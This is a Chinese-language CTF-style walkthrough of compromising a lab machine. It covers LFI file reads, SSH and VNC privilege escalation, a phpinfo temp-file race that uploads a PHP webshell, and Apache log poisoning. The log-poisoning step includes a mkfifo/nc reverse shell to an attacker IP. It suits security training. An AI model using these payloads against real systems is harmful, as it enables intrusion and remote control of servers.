从一次靶机渗透学到的两种LFI姿势
字数 1200 2025-08-26 22:11:23
从靶机渗透学习两种LFI利用姿势
1. 环境侦察
首先通过nmap扫描目标主机端口和服务信息:
nmap -sV -sC -sT -v 10.10.10.84
扫描结果:
- 22/tcp: OpenSSH 7.2 (FreeBSD)
- 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32
2. 文件包含漏洞(LFI)利用
2.1 基础LFI利用
目标网站存在文件包含漏洞,可通过browse.php的file参数包含任意文件:
http://10.10.10.84/browse.php?file=pwdbackup.txt
发现base64加密的密码字符串,解码13次后得到密码:Charix!2#4%6&8(0
2.2 目录遍历
利用LFI进行目录遍历读取系统文件:
http://10.10.10.84/browse.php?file=../../../../../../etc/passwd
/etc/passwd内容显示存在用户charix。
3. SSH登录
使用获取的密码登录SSH:
ssh charix@10.10.10.84
在用户目录下发现:
- user.txt (第一个flag)
- secret.zip (需要密码解压)
使用之前获取的密码解压secret.zip:
unzip secret.zip
# 输入密码: Charix!2#4%6&8(0
解压得到secret文件。
4. VNC渗透
4.1 发现VNC服务
检查本地监听端口:
netstat -an
发现5801和5901端口监听。
检查root进程:
ps -U root
发现Xvnc进程。
4.2 SSH端口转发
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
4.3 连接VNC
使用之前获取的secret文件作为密码连接VNC:
vncviewer -passwd secret 127.0.0.1:5901
成功获取root权限和flag。
5. LFI扩展利用姿势
5.1 利用phpinfo进行LFI getshell
条件:
- 存在文件包含漏洞
- 存在phpinfo页面
原理:
上传文件时PHP会生成临时文件,利用phpinfo获取临时文件名,在文件被删除前包含执行。
步骤:
- 构造特殊POST请求到phpinfo.php:
POST /phpinfo.php HTTP/1.1
Host: 10.10.10.84
Content-Type: multipart/form-data; boundary=--ShellHere
Content-Length: 147
----ShellHere
Content-Disposition: form-data; name="anything"; filename="Shell"
Content-Type: text/plain
<?php system($_GET['cmd']); ?>
----ShellHere
- 从phpinfo输出中提取临时文件名
- 快速使用LFI包含临时文件
自动化脚本:
使用提供的phpinfolfi.py脚本自动化此过程。
5.2 利用Apache日志文件getshell
步骤:
- 通过nc发送PHP代码到Web服务器:
nc -vn 10.10.10.84 80
<?php system($_GET['cmd']); ?>
- 包含Apache访问日志执行代码:
http://10.10.10.84/browse.php?file=../../../../../../var/log/httpd-access.log&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+10.10.14.4+4444+%3E/tmp/f
注意:使用nc而非浏览器发送PHP代码,因为浏览器会编码特殊字符。
6. 关键点总结
-
LFI基础利用:
- 读取敏感文件(/etc/passwd)
- 包含已知文件获取信息
-
密码处理:
- 多次base64解码
- 密码复用(SSH和zip)
-
权限提升:
- 发现隐藏服务(VNC)
- SSH端口转发
- 使用secret文件认证VNC
-
高级LFI利用:
- phpinfo辅助文件包含
- 临时文件竞争条件
- 日志文件注入PHP代码
-
自动化工具:
- phpinfolfi.py脚本使用
- 条件竞争自动化
7. 防御建议
- 禁用危险PHP函数(如allow_url_include)
- 对文件包含参数进行严格过滤
- 将PHP错误日志存放在Web目录外
- 限制Apache日志目录权限
- 及时更新PHP版本
- 使用open_basedir限制PHP可访问目录